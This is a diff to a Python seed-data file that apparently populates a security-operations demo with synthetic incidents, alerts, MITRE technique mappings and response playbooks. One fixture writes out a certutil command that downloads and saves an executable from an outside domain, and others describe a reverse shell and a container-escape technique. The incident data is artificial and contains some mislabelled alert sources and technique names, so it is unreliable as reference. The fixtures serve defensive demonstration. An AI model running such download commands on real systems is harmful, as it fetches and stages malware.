+ "host": "MAC-BOB-LT",
+ "user": "[email protected]",
+ "src_ip": "185.199.108.153",
+ "tactic_ids": ["TA0001", "TA0006", "TA0040"],
+ "technique_ids": ["T1566.001", "T1528", "T1657"],
+ "tags": ["phishing", "bec", "oauth", "finance"],
+ "alerts": [
+ {
+ "title": "Microsoft 365: Add OAuth2PermissionGrant for `Acme Calendar Sync`",
+ "severity": "high",
+ "source": "Microsoft 365",
+ "category": "saas",
+ "sourcetype": "o365:management:activity",
+ "process": "AzureActiveDirectory",
+ "ai_score": 0.91,
+ "extra": {
+ "Operation": "Consent to application.",
+ "ApplicationDisplayName": "Acme Calendar Sync",
+ "ConsentContext.IsAdminConsent": False,
+ "ScopeRequested": "Mail.Read Files.Read.All offline_access",
+ "UserId": "[email protected]",
+ "ClientIP": "185.199.108.153",
+ },
+ },
+ {
+ "title": "Microsoft 365: New-InboxRule auto-forwards CFO threads externally",
+ "severity": "high",
+ "source": "Microsoft 365",
+ "category": "saas",
+ "sourcetype": "o365:management:activity",
+ "process": "Exchange",
+ "ai_score": 0.88,
+ "extra": {
+ "Operation": "New-InboxRule",
+ "Parameters": [
+ {"Name": "From", "Value": "[email protected]"},
+ {"Name": "ForwardTo", "Value": "[email protected]"},
+ {"Name": "DeleteMessage", "Value": "True"},
+ ],
+ "UserId": "[email protected]",
+ "ClientIP": "185.199.108.153",
+ },
+ },
+ ],
+ "playbook_run": {
+ "playbook_id": "bec-response-v2",
+ "playbook_name": "BEC / Wire-Fraud Response",
+ "status": "completed",
+ "context": {
+ "victim_user": "[email protected]",
+ "wire_amount_usd": 250_000,
+ "wire_status": "recalled",
+ },
+ "steps": [
+ ("revoke-oauth-grant", "Revoke malicious OAuth grant", "completed",
+ {"action": "saas.revoke_oauth", "app": "Acme Calendar Sync", "duration_ms": 3_400}),
+ ("delete-inbox-rule", "Delete malicious inbox rule", "completed",
+ {"action": "saas.delete_inbox_rule", "duration_ms": 2_100}),
+ ("force-mfa-reset", "Force MFA + password reset for [email protected]", "completed",
+ {"action": "identity.force_mfa", "duration_ms": 5_780}),
+ ("notify-treasury", "Notify treasury to recall wire", "completed",
+ {"action": "ticket.create", "system": "ServiceNow", "ticket": "INC0019823"}),
+ ("ioc-share", "Share sender IPs with TIP", "completed", {"action": "tip.share"}),
+ ],
+ },
+ },
+ {
+ "key": "INC-RT-003",
+ "title": "Okta credential stuffing → first-success login for [email protected]",
+ "description": (
+ "Okta saw 412 failed logins for `[email protected]` from 38 distinct IPs in "
+ "9 minutes (rotating residential proxies), followed by a single successful "
+ "login + MFA-push approval from a never-seen device."
+ ),
+ "severity": "high",
+ "status": "in_progress",
+ "host": "WIN-HR-DESKTOP",
+ "user": "[email protected]",
+ "src_ip": "45.155.205.88",
+ "tactic_ids": ["TA0006", "TA0001"],
+ "technique_ids": ["T1110.004", "T1078.004"],
+ "tags": ["identity", "credential-stuffing", "okta"],
+ "alerts": [
+ {
+ "title": "Okta: 412 failed logins for [email protected] in 9 min",
+ "severity": "high",
+ "source": "Okta",
+ "category": "identity",
+ "sourcetype": "okta:im",
+ "process": "okta.policy.evaluate_sign_on",
+ "ai_score": 0.92,
+ "extra": {
+ "eventType": "user.session.start",
+ "outcome": {"result": "FAILURE", "reason": "INVALID_CREDENTIALS"},
+ "actor": {"alternateId": "[email protected]"},
+ "client": {"ipAddress": "45.155.205.88", "userAgent": "Mozilla/5.0"},
+ "failure_count": 412,
+ "distinct_ips": 38,
+ },
+ },
+ {
+ "title": "Okta: first successful login from new device — [email protected]",
+ "severity": "high",
+ "source": "Okta",
+ "category": "identity",
+ "sourcetype": "okta:im",
+ "process": "okta.policy.evaluate_sign_on",
+ "ai_score": 0.84,
+ "extra": {
+ "eventType": "user.session.start",
+ "outcome": {"result": "SUCCESS"},
+ "actor": {"alternateId": "[email protected]"},
+ "client": {"ipAddress": "45.155.205.88", "device": "Unknown"},
+ "authenticationContext": {"authenticationStep": 1},
+ },
+ },
+ ],
+ "playbook_run": {
+ "playbook_id": "account-takeover-v1",
+ "playbook_name": "Account Takeover Response",
+ "status": "running",
+ "context": {"target_user": "[email protected]"},
+ "steps": [
+ ("suspend-session", "Suspend Okta session for user", "completed",
+ {"action": "identity.suspend_session", "duration_ms": 1_900}),
+ ("force-mfa", "Force step-up MFA on next login", "completed",
+ {"action": "identity.force_mfa", "duration_ms": 1_200}),
+ ("rotate-app-tokens", "Revoke OAuth refresh tokens", "running", {}),
+ ("alert-user", "Page user for verification", "pending", {}),
+ ],
+ },
+ },
+ {
+ "key": "INC-RT-004",
+ "title": "AWS IAM key leak → S3 enumeration + GetObject from external IP",
+ "description": (
+ "GuardDuty fired `UnauthorizedAccess:IAMUser/MaliciousIPCaller`. CloudTrail "
+ "shows the key listing buckets and pulling objects from `corp-hr-backups` "
+ "from a non-corp IP. Key has been disabled."
+ ),
+ "severity": "high",
+ "status": "in_progress",
+ "host": "ec2-build-worker-09",
+ "user": "iam-user/build-runner",
+ "src_ip": "104.244.42.193",
+ "tactic_ids": ["TA0006", "TA0009", "TA0010"],
+ "technique_ids": ["T1078.004", "T1530", "T1567.002"],
+ "tags": ["aws", "cloud", "iam", "s3"],
+ "alerts": [
+ {
+ "title": "AWS GuardDuty: UnauthorizedAccess:IAMUser/MaliciousIPCaller",
+ "severity": "high",
+ "source": "AWS GuardDuty",
+ "category": "cloud",
+ "sourcetype": "aws:guardduty",
+ "process": "guardduty.finding",
+ "ai_score": 0.93,
+ "extra": {
+ "type": "UnauthorizedAccess:IAMUser/MaliciousIPCaller",
+ "severity": 8,
+ "resource": {"accessKeyDetails": {"userName": "build-runner"}},
+ "service": {"action": {"awsApiCallAction": {"api": "ListBuckets"}}},
+ "remoteIpDetails": {"ipAddressV4": "104.244.42.193", "country": {"countryName": "Romania"}},
+ },
+ },
+ {
+ "title": "CloudTrail: GetObject burst from build-runner — corp-hr-backups",
+ "severity": "high",
+ "source": "AWS CloudTrail",
+ "category": "cloud",
+ "sourcetype": "aws:cloudtrail",
+ "process": "s3.amazonaws.com",
+ "ai_score": 0.87,
+ "extra": {
+ "eventName": "GetObject",
+ "eventSource": "s3.amazonaws.com",
+ "userIdentity": {"type": "IAMUser", "userName": "build-runner"},
+ "sourceIPAddress": "104.244.42.193",
+ "requestParameters": {"bucketName": "corp-hr-backups"},
+ "object_count_5min": 312,
+ },
+ },
+ ],
+ "playbook_run": {
+ "playbook_id": "aws-key-compromise-v2",
+ "playbook_name": "AWS Access-Key Compromise",
+ "status": "running",
+ "context": {"iam_user": "build-runner"},
+ "steps": [
+ ("disable-key", "Deactivate IAM access key", "completed",
+ {"action": "aws.iam.deactivate_key", "duration_ms": 2_900}),
+ ("rotate-key", "Issue replacement key for service", "completed",
+ {"action": "aws.iam.create_key", "duration_ms": 3_400}),
+ ("block-ip", "Add NACL block for malicious IP", "completed",
+ {"action": "aws.nacl.deny", "ip": "104.244.42.193"}),
+ ("audit-bucket-access", "Audit corp-hr-backups access", "running", {}),
+ ],
+ },
+ },
+ {
+ "key": "INC-RT-005",
+ "title": "Insider exfil: 12 GB customer-PII upload to personal Drive",
+ "description": (
+ "DLP flagged `[email protected]` zipping 12 GB of customer PII from the HR "
+ "share and uploading to a personal Google Drive. Egress proxy blocked the "
+ "second batch; first batch (4.2 GB) reached external."
+ ),
+ "severity": "high",
+ "status": "resolved",
+ "host": "WIN-HR-DESKTOP",
+ "user": "[email protected]",
+ "src_ip": "10.42.7.119",
+ "tactic_ids": ["TA0009", "TA0010"],
+ "technique_ids": ["T1005", "T1567.002"],
+ "tags": ["insider", "dlp", "exfiltration"],
+ "alerts": [
+ {
+ "title": "DLP: 12 GB PII archive uploaded to drive.google.com",
+ "severity": "high",
+ "source": "Cloudflare WAF",
+ "category": "network",
+ "sourcetype": "cloudflare:dlp",
+ "process": "chrome.exe",
+ "ai_score": 0.89,
+ "extra": {
+ "policy": "PII-Customer-Records",
+ "action": "BLOCK",
+ "user": "[email protected]",
+ "source_host": "WIN-HR-DESKTOP",
+ "destination_host": "drive.google.com",
+ "bytes_blocked": 8_321_000_000,
+ "bytes_pre_block": 4_200_000_000,
+ },
+ },
+ ],
+ "playbook_run": {
+ "playbook_id": "insider-exfil-v1",
+ "playbook_name": "Insider Exfiltration Containment",
+ "status": "completed",
+ "context": {"actor": "[email protected]"},
+ "steps": [
+ ("revoke-saas-tokens", "Revoke Google + Slack tokens", "completed", {"duration_ms": 4_300}),
+ ("disable-account", "Disable AD + Okta accounts", "completed", {"duration_ms": 6_800}),
+ ("preserve-evidence", "Capture endpoint forensic image", "completed", {"duration_ms": 145_000}),
+ ("notify-hr-legal", "Notify HR + outside counsel", "completed", {"duration_ms": 800}),
+ ("dlp-rule-tighten", "Tighten DLP egress rules for PII", "completed", {"duration_ms": 2_400}),
+ ],
+ },
+ },
+ {
+ "key": "INC-RT-006",
+ "title": "Compromised npm package `event-stream-helper` — reverse shell from CI runner",
+ "description": (
+ "Build pipeline on `LIN-K8S-NODE-03` installed `[email protected]` "
+ "whose post-install hook spawned a reverse shell to 5.39.222.7. The package "
+ "was unpublished from the registry 18 minutes after install."
+ ),
+ "severity": "high",
+ "status": "in_progress",
+ "host": "LIN-K8S-NODE-03",
+ "user": "ci-runner",
+ "src_ip": "5.39.222.7",
+ "tactic_ids": ["TA0001", "TA0002", "TA0011"],
+ "technique_ids": ["T1195.002", "T1059.004", "T1071.001"],
+ "tags": ["supply-chain", "npm", "ci"],
+ "alerts": [
+ {
+ "title": "auditd: bash -i reverse shell spawned from npm post-install",
+ "severity": "high",
+ "source": "Suricata IDS",
+ "category": "edr",
+ "sourcetype": "linux:auditd",
+ "process": "/bin/bash",
+ "ai_score": 0.94,
+ "extra": {
+ "type": "EXECVE",
+ "exe": "/bin/bash",
+ "argv": ["bash", "-i"],
+ "ppid_exe": "/usr/bin/node",
+ "ppid_argv": ["node", "/app/node_modules/event-stream-helper/postinstall.js"],
+ "uid": 1001,
+ "auid": 1001,
+ },
+ },
+ {
+ "title": "Suricata: outbound TCP 4444 to 5.39.222.7 from LIN-K8S-NODE-03",
+ "severity": "high",
+ "source": "Suricata IDS",
+ "category": "network",
+ "sourcetype": "suricata:alert",
+ "process": "node",
+ "ai_score": 0.86,
+ "extra": {
+ "alert": {
+ "signature": "ET POLICY Possible reverse shell to 5.39.222.7",
+ "category": "Potentially Bad Traffic",
+ "severity": 1,
+ },
+ "src_ip": "10.0.4.91",
+ "dest_ip": "5.39.222.7",
+ "dest_port": 4444,
+ "proto": "TCP",
+ },
+ },
+ ],
+ "playbook_run": {
+ "playbook_id": "supply-chain-npm-v1",
+ "playbook_name": "Supply-Chain (npm) Containment",
+ "status": "running",
+ "context": {"package": "[email protected]"},
+ "steps": [
+ ("kill-runner-pods", "Cordon + drain affected K8s pods", "completed", {"duration_ms": 12_400}),
+ ("block-c2", "Block 5.39.222.7 at egress firewall", "completed", {"duration_ms": 2_500}),
+ ("pin-deps", "Pin lockfile to last-known-good", "running", {}),
+ ("scan-other-builds", "Scan last 14d builds for the package", "pending", {}),
+ ],
+ },
+ },
+ {
+ "key": "INC-RT-007",
+ "title": "Cobalt Strike beacon + DNS C2 from WIN-DEVOPS-LT",
+ "description": (
+ "Suricata flagged a CS Malleable C2 profile on outbound traffic, while "
+ "Sysmon recorded process injection (svchost ↔ rundll32) and DNS queries "
+ "with TXT-record payloads to `azonly-cdn.io`."
+ ),
+ "severity": "critical",
+ "status": "in_progress",
+ "host": "WIN-DEVOPS-LT",
+ "user": "[email protected]",
+ "src_ip": "10.0.5.27",
+ "tactic_ids": ["TA0005", "TA0011"],
+ "technique_ids": ["T1055.012", "T1071.004"],
+ "tags": ["cobalt-strike", "c2", "dns"],
+ "alerts": [
+ {
+ "title": "Suricata: ET TROJAN Cobalt Strike Malleable C2 profile",
+ "severity": "critical",
+ "source": "Suricata IDS",
+ "category": "network",
+ "sourcetype": "suricata:alert",
+ "process": "rundll32.exe",
+ "ai_score": 0.95,
+ "extra": {
+ "alert": {
+ "signature": "ET TROJAN Observed CobaltStrike Malleable C2 (Profile)",
+ "category": "Trojan Activity",
+ "severity": 1,
+ },
+ "src_ip": "10.0.5.27",
+ "dest_ip": "23.106.222.74",
+ "dest_port": 443,
+ "proto": "TCP",
+ },
+ },
+ {
+ "title": "Sysmon: process-injection from svchost.exe to rundll32.exe",
+ "severity": "critical",
+ "source": "Microsoft Sysmon",
+ "category": "edr",
+ "sourcetype": "XmlWinEventLog:Microsoft-Windows-Sysmon/Operational",
+ "process": "svchost.exe",
+ "ai_score": 0.91,
+ "extra": {
+ "EventID": 8, # CreateRemoteThread
+ "SourceImage": r"C:\Windows\System32\svchost.exe",
+ "TargetImage": r"C:\Windows\System32\rundll32.exe",
+ "TargetProcessId": 6712,
+ },
+ },
+ {
+ "title": "DNS: 220 TXT-record queries to azonly-cdn.io in 60s",
+ "severity": "high",
+ "source": "Suricata IDS",
+ "category": "network",
+ "sourcetype": "dns:bro",
+ "process": "rundll32.exe",
+ "ai_score": 0.81,
+ "extra": {
+ "qname": "azonly-cdn.io",
+ "qtype_name": "TXT",
+ "qcount": 220,
+ "answers_avg_len": 248,
+ },
+ },
+ ],
+ "playbook_run": {
+ "playbook_id": "c2-containment-v1",
+ "playbook_name": "C2 Beacon Containment",
+ "status": "running",
+ "context": {"host": "WIN-DEVOPS-LT", "framework": "cobalt-strike"},
+ "steps": [
+ ("isolate-host", "Isolate host via Defender", "completed",
+ {"action": "endpoint.isolate", "duration_ms": 3_900}),
+ ("block-c2-ip", "Block 23.106.222.74", "completed", {"duration_ms": 1_700}),
+ ("dns-sinkhole", "Sinkhole azonly-cdn.io", "running", {}),
+ ("memory-capture", "Capture memory image for analysis", "pending", {}),
+ ],
+ },
+ },
+ {
+ "key": "INC-RT-008",
+ "title": "Kerberoasting + DCSync attempt from WIN-DEVOPS-LT against DC01",
+ "description": (
+ "Bulk TGS-REQ for SPNs with weak crypto, followed by an attempted "
+ "DCSync (DRSReplicaSync) call from a non-DC host. Domain controller "
+ "rejected the call but the attempt is high-confidence."
+ ),
+ "severity": "critical",
+ "status": "open",
+ "host": "WIN-DEVOPS-LT",
+ "user": "[email protected]",
+ "src_ip": "10.0.5.27",
+ "tactic_ids": ["TA0006", "TA0004"],
+ "technique_ids": ["T1558.003", "T1003.006"],
+ "tags": ["ad", "kerberoast", "dcsync"],
+ "alerts": [
+ {
+ "title": "WinEventLog: 87 Kerberos TGS requests (RC4) in 2 min",
+ "severity": "high",
+ "source": "Windows Security",
+ "category": "siem",
+ "sourcetype": "WinEventLog:Security",
+ "process": "lsass.exe",
+ "ai_score": 0.88,
+ "extra": {
+ "EventCode": 4769,
+ "TicketEncryptionType": "0x17",
+ "ServiceName": "MSSQLSvc/finance-db.corp.example.com",
+ "TargetUserName": "[email protected]",
+ "request_count": 87,
+ },
+ },
+ {
+ "title": "WinEventLog: DRSReplicaSync from non-DC host WIN-DEVOPS-LT",
+ "severity": "critical",
+ "source": "Windows Security",
+ "category": "siem",
+ "sourcetype": "WinEventLog:Security",
+ "process": "lsass.exe",
+ "ai_score": 0.96,
+ "extra": {
+ "EventCode": 4662,
+ "Properties": "{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2}", # DS-Replication-Get-Changes
+ "AccessMask": "0x100",
+ "WorkstationName": "WIN-DEVOPS-LT",
+ "TargetServer": "DC01.corp.example.com",
+ },
+ },
+ ],
+ },
+ {
+ "key": "INC-RT-009",
+ "title": "OAuth-consent phishing of [email protected] (Microsoft 365)",
+ "description": (
+ "Malicious app `Internal IT Support` requested Mail.ReadWrite + "
+ "Files.Read.All. Consent was granted then revoked; mailbox audit shows no "
+ "downloads, but creator inbox-rule was added."
+ ),
+ "severity": "medium",
+ "status": "resolved",
+ "host": "MAC-CAROL-LT",
+ "user": "[email protected]",
+ "src_ip": "192.0.2.55",
+ "tactic_ids": ["TA0001", "TA0006"],
+ "technique_ids": ["T1528"],
+ "tags": ["oauth", "phishing", "m365"],
+ "alerts": [
+ {
+ "title": "M365: Consent to OAuth app `Internal IT Support`",
+ "severity": "medium",
+ "source": "Microsoft 365",
+ "category": "saas",
+ "sourcetype": "o365:management:activity",
+ "process": "AzureActiveDirectory",
+ "ai_score": 0.74,
+ "extra": {
+ "Operation": "Consent to application.",
+ "ApplicationDisplayName": "Internal IT Support",
+ "ScopeRequested": "Mail.ReadWrite Files.Read.All offline_access",
+ "UserId": "[email protected]",
+ "ClientIP": "192.0.2.55",
+ },
+ },
+ ],
+ "playbook_run": {
+ "playbook_id": "oauth-consent-phish-v1",
+ "playbook_name": "OAuth Consent-Phish Response",
+ "status": "completed",
+ "context": {"app": "Internal IT Support"},
+ "steps": [
+ ("revoke-consent", "Revoke OAuth grant", "completed", {"duration_ms": 2_500}),
+ ("audit-mailbox", "Audit mailbox activity", "completed", {"duration_ms": 8_400}),
+ ("delete-inbox-rule", "Delete inbox rule", "completed", {"duration_ms": 1_300}),
+ ],
+ },
+ },
+ {
+ "key": "INC-RT-010",
+ "title": "Privileged container escape on LIN-K8S-NODE-03",
+ "description": (
+ "A pod created with `privileged: true, hostPID: true` mounted /proc and "
+ "wrote to `/proc/sys/kernel/core_pattern` to gain code-execution as root "
+ "on the node. Detected by Falco, validated via kube-audit + auditd."
+ ),
+ "severity": "critical",
+ "status": "in_progress",
+ "host": "LIN-K8S-NODE-03",
+ "user": "system:serviceaccount:dev:builder-sa",
+ "src_ip": "10.0.4.91",
+ "tactic_ids": ["TA0004", "TA0007"],
+ "technique_ids": ["T1611", "T1082"],
+ "tags": ["k8s", "container-escape", "privesc"],
+ "alerts": [
+ {
+ "title": "kube-audit: privileged pod created in dev namespace",
+ "severity": "high",
+ "source": "Suricata IDS",
+ "category": "cloud",
+ "sourcetype": "kube:audit",
+ "process": "kube-apiserver",
+ "ai_score": 0.85,
+ "extra": {
+ "verb": "create",
+ "objectRef": {"resource": "pods", "namespace": "dev", "name": "build-runner-x9k"},
+ "user": {"username": "system:serviceaccount:dev:builder-sa"},
+ "requestObject": {"spec": {"hostPID": True, "containers": [{"securityContext": {"privileged": True}}]}},
+ },
+ },
+ {
+ "title": "auditd: write to /proc/sys/kernel/core_pattern from container",
+ "severity": "critical",
+ "source": "Suricata IDS",
+ "category": "edr",
+ "sourcetype": "linux:auditd",
+ "process": "/bin/sh",
+ "ai_score": 0.93,
+ "extra": {
+ "type": "PATH",
+ "name": "/proc/sys/kernel/core_pattern",
+ "exe": "/bin/sh",
+ "auid": 0,
+ },
+ },
+ ],
+ "playbook_run": {
+ "playbook_id": "container-escape-v1",
+ "playbook_name": "Container Escape Containment",
+ "status": "running",
+ "context": {"namespace": "dev", "pod": "build-runner-x9k"},
+ "steps": [
+ ("delete-pod", "Delete offending pod", "completed", {"duration_ms": 1_400}),
+ ("cordon-node", "Cordon LIN-K8S-NODE-03", "completed", {"duration_ms": 1_900}),
+ ("rotate-sa-tokens", "Rotate builder-sa token", "running", {}),
+ ("psp-tighten", "Apply PSA `restricted` to dev namespace", "pending", {}),
+ ],
+ },
+ },
+ {
+ "key": "INC-RT-011",
+ "title": "DNS tunnelling exfil from MAC-SARAH-LT (~180 MB over 2 h)",
+ "description": (
+ "DNS query volume from `MAC-SARAH-LT` rose to 50× baseline with high-"
+ "entropy subdomains under `nsdata.io`. Approximate base64 payload size: "
+ "180 MB. Matches dnscat2 behaviour."
+ ),
+ "severity": "high",
+ "status": "in_progress",
+ "host": "MAC-SARAH-LT",
+ "user": "[email protected]",
+ "src_ip": "10.0.6.19",
+ "tactic_ids": ["TA0011", "TA0010"],
+ "technique_ids": ["T1071.004", "T1048.003"],
+ "tags": ["dns-tunnel", "exfiltration"],
+ "alerts": [
+ {
+ "title": "DNS anomaly: 180 MB exfil via TXT under nsdata.io",
+ "severity": "high",
+ "source": "Suricata IDS",
+ "category": "network",
+ "sourcetype": "dns:bro",
+ "process": "Python",
+ "ai_score": 0.90,
+ "extra": {
+ "qname_root": "nsdata.io",
+ "subdomain_entropy_p99": 4.6,
+ "qcount_60s": 4_120,
+ "approx_payload_bytes": 188_743_680,
+ },
+ },
+ ],
+ },
+ {
+ "key": "INC-RT-012",
+ "title": "Living-off-the-land: certutil download cradle on WIN-PROD-WEB02",
+ "description": (
+ "`certutil.exe -urlcache -split -f` invoked from cmd.exe spawned by a "
+ "Word document macro on `WIN-PROD-WEB02`. Payload `update.exe` was pulled "
+ "from a recently-registered domain and quarantined by Defender."
+ ),
+ "severity": "high",
+ "status": "resolved",
+ "host": "WIN-PROD-WEB02",
+ "user": "[email protected]",
+ "src_ip": "10.0.3.10",
+ "tactic_ids": ["TA0002", "TA0005"],
+ "technique_ids": ["T1105", "T1218.009"],
+ "tags": ["lolbas", "certutil", "office-macro"],
+ "alerts": [
+ {
+ "title": "Sysmon: certutil.exe download cradle from cmd.exe",
+ "severity": "high",
+ "source": "Microsoft Sysmon",
+ "category": "edr",
+ "sourcetype": "XmlWinEventLog:Microsoft-Windows-Sysmon/Operational",
+ "process": "certutil.exe",
+ "ai_score": 0.89,
+ "extra": {
+ "EventID": 1,
+ "ParentImage": r"C:\Windows\System32\cmd.exe",
+ "ParentCommandLine": r'cmd.exe /c "certutil -urlcache -split -f http://onestopmedia.club/update.exe %TEMP%\update.exe"',
+ "Image": r"C:\Windows\System32\certutil.exe",
+ "User": "CORP\\alice",
+ },
+ },
+ {
+ "title": "Defender: Quarantined `update.exe` (Trojan:Win32/Wacatac.B!ml)",
+ "severity": "high",
+ "source": "Microsoft Defender",
+ "category": "edr",
+ "sourcetype": "WinEventLog:Microsoft-Windows-Windows Defender/Operational",
+ "process": "MsMpEng.exe",
+ "ai_score": 0.81,
+ "extra": {
+ "EventID": 1116,
+ "ThreatName": "Trojan:Win32/Wacatac.B!ml",
+ "DetectionUser": "CORP\\alice",
+ "Path": r"%TEMP%\update.exe",
+ "ActionTaken": "Quarantine",
+ },
+ },
+ ],
+ "playbook_run": {
+ "playbook_id": "lolbas-quarantine-v1",
+ "playbook_name": "LOLBAS Download-Cradle Response",
+ "status": "completed",
+ "context": {"binary": "certutil.exe"},
+ "steps": [
+ ("kill-process", "Kill certutil + spawned children", "completed", {"duration_ms": 1_200}),
+ ("quarantine-binary", "Quarantine update.exe", "completed", {"duration_ms": 800}),
+ ("block-domain", "Sinkhole onestopmedia.club", "completed", {"duration_ms": 1_900}),
+ ("hunt-corp-wide", "Hunt for cradle pattern across fleet", "completed", {"duration_ms": 32_000}),
+ ],
+ },
+ },
+ {
+ "key": "INC-RT-013",
+ "title": "Public S3 bucket `corp-hr-backups` enumerated by external IP",
+ "description": (
+ "CSPM detected `corp-hr-backups` was set to public-read 36 minutes ago. "
+ "CloudTrail shows 312 GetObject calls from a non-corp IP before the policy "
+ "was reverted."
+ ),
+ "severity": "high",
+ "status": "contained",
+ "host": "AWS::S3::corp-hr-backups",
+ "user": "iam-user/devops-admin",
+ "src_ip": "104.244.42.193",
+ "tactic_ids": ["TA0009", "TA0010"],
+ "technique_ids": ["T1530", "T1567.002"],
+ "tags": ["aws", "s3", "cspm"],
+ "alerts": [
+ {
+ "title": "CloudTrail: PutBucketAcl public-read on corp-hr-backups",
+ "severity": "high",
+ "source": "AWS CloudTrail",
+ "category": "cloud",
+ "sourcetype": "aws:cloudtrail",
+ "process": "s3.amazonaws.com",
+ "ai_score": 0.91,
+ "extra": {
+ "eventName": "PutBucketAcl",
+ "userIdentity": {"type": "IAMUser", "userName": "devops-admin"},
+ "requestParameters": {
+ "bucketName": "corp-hr-backups",
+ "AccessControlPolicy": {"Grants": [{"Permission": "READ", "Grantee": {"URI": "http://acs.amazonaws.com/groups/global/AllUsers"}}]},
+ },
+ "sourceIPAddress": "10.0.2.4",
+ },
+ },
+ ],
+ },
+ {
+ "key": "INC-RT-014",
+ "title": "Okta MFA-fatigue against [email protected] → push-approval success",
+ "description": (
+ "Attacker pumped 23 MFA push notifications over 6 minutes; user "
+ "approved on the 21st prompt, granting access from a Russia-based IP."
+ ),
+ "severity": "high",
+ "status": "in_progress",
+ "host": "MAC-EVE-LT",
+ "user": "[email protected]",
+ "src_ip": "5.188.86.69",
+ "tactic_ids": ["TA0006", "TA0001"],
+ "technique_ids": ["T1621"],
+ "tags": ["mfa-fatigue", "okta", "identity"],
+ "alerts": [
+ {
+ "title": "Okta: 23 MFA push challenges in 6 min for [email protected]",
+ "severity": "high",
+ "source": "Okta",
+ "category": "identity",
+ "sourcetype": "okta:im",
+ "process": "okta.policy.evaluate_sign_on",
+ "ai_score": 0.92,
+ "extra": {
+ "eventType": "user.mfa.factor.push.challenge.send",
+ "outcome": {"result": "SUCCESS"},
+ "actor": {"alternateId": "[email protected]"},
+ "client": {"ipAddress": "5.188.86.69", "country": "Russia"},
+ "challenge_count": 23,
+ },
+ },
+ {
+ "title": "Okta: Push-approval success after 21 denies — [email protected]",
+ "severity": "high",
+ "source": "Okta",
+ "category": "identity",
+ "sourcetype": "okta:im",
+ "process": "okta.policy.evaluate_sign_on",
+ "ai_score": 0.88,
+ "extra": {
+ "eventType": "user.authentication.auth_via_mfa",
+ "outcome": {"result": "SUCCESS", "reason": "PUSH_APPROVED"},
+ "actor": {"alternateId": "[email protected]"},
+ "client": {"ipAddress": "5.188.86.69"},
+ },
+ },
+ ],
+ "playbook_run": {
+ "playbook_id": "mfa-fatigue-v1",
+ "playbook_name": "MFA Fatigue Containment",
+ "status": "running",
+ "context": {"user": "[email protected]"},
+ "steps": [
+ ("suspend-session", "Suspend Okta session", "completed", {"duration_ms": 1_500}),
+ ("require-fido2", "Require FIDO2 / WebAuthn for re-auth", "completed", {"duration_ms": 2_400}),
+ ("revoke-tokens", "Revoke OAuth tokens", "running", {}),
+ ("page-user", "Page user on out-of-band channel", "pending", {}),
+ ],
+ },
+ },
+ {
+ "key": "INC-RT-015",
+ "title": "RDP brute-force from TOR exit + lateral move to DC01",
+ "description": (
+ "WinEventLog shows 1,200+ failed 4625 logons against `WIN-PROD-WEB02` "
+ "from a TOR exit, then a single 4624 success followed by an SMB lateral "
+ "connection to DC01. Host has been isolated."
+ ),
+ "severity": "high",
+ "status": "open",
+ "host": "WIN-PROD-WEB02",
+ "user": "administrator",
+ "src_ip": "185.220.101.6",
+ "tactic_ids": ["TA0006", "TA0008"],
+ "technique_ids": ["T1110.001", "T1021.001"],
+ "tags": ["brute-force", "rdp", "tor", "lateral"],
+ "alerts": [
+ {
+ "title": "WinEventLog: 1,247 failed 4625 logons from 185.220.101.6",
+ "severity": "high",
+ "source": "Windows Security",
+ "category": "siem",
+ "sourcetype": "WinEventLog:Security",
+ "process": "lsass.exe",
+ "ai_score": 0.93,
+ "extra": {
+ "EventCode": 4625,
+ "FailureReason": "Unknown user name or bad password.",
+ "TargetUserName": "administrator",
+ "WorkstationName": "kali",
+ "IpAddress": "185.220.101.6",
+ "LogonType": 10,
+ "failure_count": 1_247,
+ },
+ },
+ {
+ "title": "WinEventLog: success 4624 LogonType=10 from TOR exit",
+ "severity": "critical",
+ "source": "Windows Security",
+ "category": "siem",
+ "sourcetype": "WinEventLog:Security",
+ "process": "lsass.exe",
+ "ai_score": 0.94,
+ "extra": {
+ "EventCode": 4624,
+ "LogonType": 10,
+ "TargetUserName": "administrator",
+ "IpAddress": "185.220.101.6",
+ "AuthenticationPackageName": "Negotiate",
+ },
+ },
+ {
+ "title": "WinEventLog: SMB connection WIN-PROD-WEB02 → DC01.corp.example.com",
+ "severity": "high",
+ "source": "Windows Security",
+ "category": "siem",
+ "sourcetype": "WinEventLog:Security",
+ "process": "lsass.exe",
+ "ai_score": 0.86,
+ "extra": {
+ "EventCode": 5145,
+ "ShareName": r"\\*\C$",
+ "IpAddress": "10.0.3.10",
+ "TargetServerName": "DC01.corp.example.com",
+ "TargetUserName": "administrator",
+ },
+ },
+ ],
+ },
+]
+
+
def _random_ip() -> str:
return ".".join(str(_rng.randint(1, 254)) for _ in range(4))
@@ -487,6 +1441,531 @@ def _make_synthetic_case(tenant_id: uuid.UUID, idx: int, when: datetime, alert_i
)
+# ─── Realistic-incident helpers (BOTS / SecRepo-shaped) ────────────────────────
+
+
+# Technique-id → human-readable name. Backfills techniques that aren't in the
+# small `_TECHNIQUES` random pool used by `_make_alert`.
+_TACTIC_NAMES = {t[0]: t[1] for t in _TECHNIQUES}
+_TECHNIQUE_NAMES: dict[str, str] = {
+ **{t[2]: t[3] for t in _TECHNIQUES},
+ "T1110.004": "Credential Stuffing",
+ "T1078.004": "Cloud Accounts",
+ "T1021.002": "SMB/Windows Admin Shares",
+ "T1567.002": "Exfiltration to Cloud Storage",
+ "T1530": "Data from Cloud Storage Object",
+ "T1195.002": "Compromise Software Supply Chain",
+ "T1059.004": "Unix Shell",
+ "T1071.001": "Application Layer Protocol: Web Protocols",
+ "T1071.004": "Application Layer Protocol: DNS",
+ "T1218.009": "System Binary Proxy: Regsvr32 / certutil",
+ "T1105": "Ingress Tool Transfer",
+ "T1003.006": "OS Credential Dumping: DCSync",
+ "T1558.003": "Steal or Forge Kerberos Tickets: Kerberoasting",
+ "T1657": "Financial Theft",
+ "T1566.001": "Phishing: Spearphishing Attachment",
+ "T1528": "Steal Application Access Token",
+ "T1611": "Escape to Host",
+ "T1621": "Multi-Factor Authentication Request Generation",
+ "T1055.012": "Process Injection: Process Hollowing",
+ "T1048.003": "Exfiltration Over Alternative Protocol: Unencrypted DNS",
+ "T1021.001": "Remote Services: Remote Desktop Protocol",
+}
+
+
+def _alert_status_for_case(case_status: str) -> str:
+ """Map ORM case status to a sensible Alert.status for realistic incidents."""
+ return {
+ "in_progress": "investigating",
+ "open": "triaged",
+ "contained": "investigating",
+ "resolved": "resolved",
+ "closed": "resolved",
+ }.get(case_status, "triaged")
+
+
+def _bots_raw_event(
+ when: datetime,
+ *,
